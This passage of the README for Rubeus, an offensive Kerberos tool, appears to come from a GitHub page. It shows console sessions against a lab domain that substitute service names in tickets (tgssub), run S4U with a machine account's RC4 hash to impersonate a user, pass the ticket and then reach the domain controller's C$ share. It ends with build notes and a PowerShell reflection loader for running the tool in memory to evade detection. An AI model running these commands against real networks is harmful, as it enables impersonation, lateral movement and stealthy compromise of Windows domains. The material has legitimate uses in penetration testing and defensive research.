[+] Ticket successfully imported!

C:\Rubeus>dir \\primary.testlab.local\C$
Access is denied.

C:\Rubeus>Rubeus.exe tgssub /ticket:doIGPjCCBjqgAwIBBaEDAgEWoo...(snip)... /altservice:cifs /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.4.2


[*] Action: Service Ticket sname Substitution

[*] Substituting in alternate service name: cifs
[*] base64(ticket.kirbi):

    doIGPjCCBjqgAwIBBaEDAgEWoo...(snip)...

[*] Action: Describe Ticket

UserName              :  harmj0y@TESTLAB.LOCAL
UserRealm             :  TESTLAB.LOCAL
ServiceName           :  cifs/PRIMARY.testlab.local
ServiceRealm          :  TESTLAB.LOCAL
StartTime             :  3/1/2019 12:51:06 PM
EndTime               :  3/1/2019 5:51:06 PM
RenewTill             :  3/8/2019 12:51:06 PM
Flags                 :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType               :  aes128_cts_hmac_sha1
Base64(key)           :  yxQVMhl0qn3P0wUUC4KnGQ==


[*] Action: Import Ticket
[+] Ticket successfully imported!

C:\Rubeus>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68

Directory of \\primary.testlab.local\C$

07/05/2018  12:57 PM    <DIR>          dumps
03/05/2017  04:36 PM    <DIR>          inetpub
07/21/2018  07:41 PM                 9 out.txt
08/22/2013  07:52 AM    <DIR>          PerfLogs
04/15/2017  05:25 PM    <DIR>          profiles
08/28/2018  11:51 AM    <DIR>          Program Files
08/28/2018  11:51 AM    <DIR>          Program Files (x86)
10/09/2018  12:04 PM    <DIR>          Temp
08/23/2018  03:52 PM    <DIR>          Users
10/25/2018  01:15 PM    <DIR>          Windows
            1 File(s)              9 bytes
            9 Dir(s)  40,463,851,520 bytes free

C:\Rubeus>Rubeus.exe klist

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.4.2



[*] Action: List Kerberos Tickets (Current User)

[*] Current LUID    : 0x6de14

    [0] - 0x12 - aes256_cts_hmac_sha1
    Start/End/MaxRenew: 3/1/2019 12:51:06 PM ; 3/1/2019 5:51:06 PM ; 3/8/2019 12:51:06 PM
    Server Name       : cifs/PRIMARY.testlab.local @ TESTLAB.LOCAL
    Client Name       : harmj0y @ TESTLAB.LOCAL
    Flags             : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)

    [1] - 0x12 - aes256_cts_hmac_sha1
    Start/End/MaxRenew: 3/1/2019 12:51:06 PM ; 3/1/2019 5:51:06 PM ; 3/8/2019 12:51:06 PM
    Server Name       : ldap/PRIMARY.testlab.local @ TESTLAB.LOCAL
    Client Name       : harmj0y @ TESTLAB.LOCAL
    Flags             : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)

Executing S4U2self to a machine using its machine account hash, substituting in the service names we want to abuse after:

C:\Rubeus>Rubeus.exe s4u /user:primary$ /rc4:46b910dbe4514bd144b44cb554c256db /impersonateuser:harmj0y

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.4.2

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 46b910dbe4514bd144b44cb554c256db
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\primary$'
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIFIDCCBRygAwIBBaEDAgEWoo...(snip)...


[*] Action: S4U

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'primary$@TESTLAB.LOCAL'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for 'harmj0y@TESTLAB.LOCAL' to 'primary$@TESTLAB.LOCAL'
[*] base64(ticket.kirbi):

    doIFgDCCBXygAwIBBaEDAgEWoo...(snip)...


C:\Rubeus>Rubeus.exe describe /ticket:doIFgDCCBXygAwIBBaEDAgEWoo...(snip)...

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.4.2


[*] Action: Describe Ticket

UserName              :  harmj0y@TESTLAB.LOCAL
UserRealm             :  TESTLAB.LOCAL
ServiceName           :  primary$
ServiceRealm          :  TESTLAB.LOCAL
StartTime             :  3/1/2019 12:43:56 PM
EndTime               :  3/1/2019 5:43:56 PM
RenewTill             :  3/8/2019 12:43:56 PM
Flags                 :  name_canonicalize, ok_as_delegate, pre_authent, renewable
KeyType               :  aes256_cts_hmac_sha1
Base64(key)           :  X6LnSCb4FUGo4Wec2FnfgQRz0h8zfgIRZxENxcIoIpU=

[!] Service ticket uses encryption key type 'aes256_cts_hmac_sha1', unable to extract hash and salt.


C:\Rubeus>dir \\primary.testlab.local\C$
Access is denied.

C:\Rubeus>Rubeus.exe purge

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.4.2

Luid: 0x0

[*] Action: Purge Tickets
[+] Tickets successfully purged!

C:\Rubeus>Rubeus.exe tgssub /ticket:doIFgDCCBXygAwIBBaEDAgEWoo...(snip)... /altservice:cifs/primary.testlab.local /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.4.2


[*] Action: Service Ticket sname Substitution

[*] Substituting in alternate service name: cifs/primary.testlab.local
[*] base64(ticket.kirbi):

    doIFpjCCBaKgAwIBBaEDAgEWoo...(snip)...

[*] Action: Describe Ticket

UserName              :  harmj0y@TESTLAB.LOCAL
UserRealm             :  TESTLAB.LOCAL
ServiceName           :  cifs/primary.testlab.local
ServiceRealm          :  TESTLAB.LOCAL
StartTime             :  3/1/2019 12:43:56 PM
EndTime               :  3/1/2019 5:43:56 PM
RenewTill             :  3/8/2019 12:43:56 PM
Flags                 :  name_canonicalize, ok_as_delegate, pre_authent, renewable
KeyType               :  aes256_cts_hmac_sha1
Base64(key)           :  X6LnSCb4FUGo4Wec2FnfgQRz0h8zfgIRZxENxcIoIpU=


[*] Action: Import Ticket
[+] Ticket successfully imported!

C:\Rubeus>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68

Directory of \\primary.testlab.local\C$

07/05/2018  12:57 PM    <DIR>          dumps
03/05/2017  04:36 PM    <DIR>          inetpub
08/22/2013  07:52 AM    <DIR>          PerfLogs
04/15/2017  05:25 PM    <DIR>          profiles
08/28/2018  11:51 AM    <DIR>          Program Files
08/28/2018  11:51 AM    <DIR>          Program Files (x86)
10/09/2018  12:04 PM    <DIR>          Temp
08/23/2018  03:52 PM    <DIR>          Users
10/25/2018  01:15 PM    <DIR>          Windows
            1 File(s)              9 bytes
            9 Dir(s)  40,462,831,616 bytes free

Compile Instructions

We are not planning on releasing binaries for Rubeus, so you will have to compile yourself :)

Rubeus has been built against .NET 3.5 and is compatible with Visual Studio 2015 Community Edition. Simply open up the project .sln, choose "Release", and build.

Targeting other .NET versions

Rubeus' default build configuration is for .NET 3.5, which will fail on systems without that version installed. To target Rubeus for .NET 4 or 4.5, open the .sln solution, go to Project -> Rubeus Properties and change the "Target framework" to another version.

Sidenote: Building Rubeus as a Library

To build Rubeus as a library, under Project -> Rubeus Properties -> change Output type to Class Library. Compile, and add the Rubeus.dll as a reference to whatever project you want. Rubeus functionality can then be invoked as in a number of ways:

// pass the Main method the arguments you want
Rubeus.Program.Main("dump /luid:3050142".Split());

// or invoke specific functionality manually
Rubeus.LSA.ListKerberosTicketDataAllUsers(new Rubeus.Interop.LUID());

You can then use ILMerge to merge the Rubeus.dll into your resulting project assembly for a single, self-contained file.

Sidenote: Running Rubeus Through PowerShell

If you want to run Rubeus in-memory through a PowerShell wrapper, first compile the Rubeus and base64-encode the resulting assembly:

[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Rubeus.exe")) | Out-File -Encoding ASCII C:\Temp\rubeus.txt

Rubeus can then be loaded in a PowerShell script with the following (where "aa..." is replaced with the base64-encoded Rubeus assembly string):

$RubeusAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))

The Main() method and any arguments can then be invoked as follows:

[Rubeus.Program]::Main("dump /luid:3050142".Split())

Or individual functions can be invoked:

$KerbTicket = 'do...' # base64-encoded ticket.kirbi
$TicketBytes = [convert]::FromBase64String($KerbTicket)
$LogonID = [Rubeus.LSA]::CreateProcessNetOnly("mmc.exe", $false)
[Rubeus.LSA]::ImportTicket($TicketBytes, $LogonID)
You can’t perform that action at this time.
You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.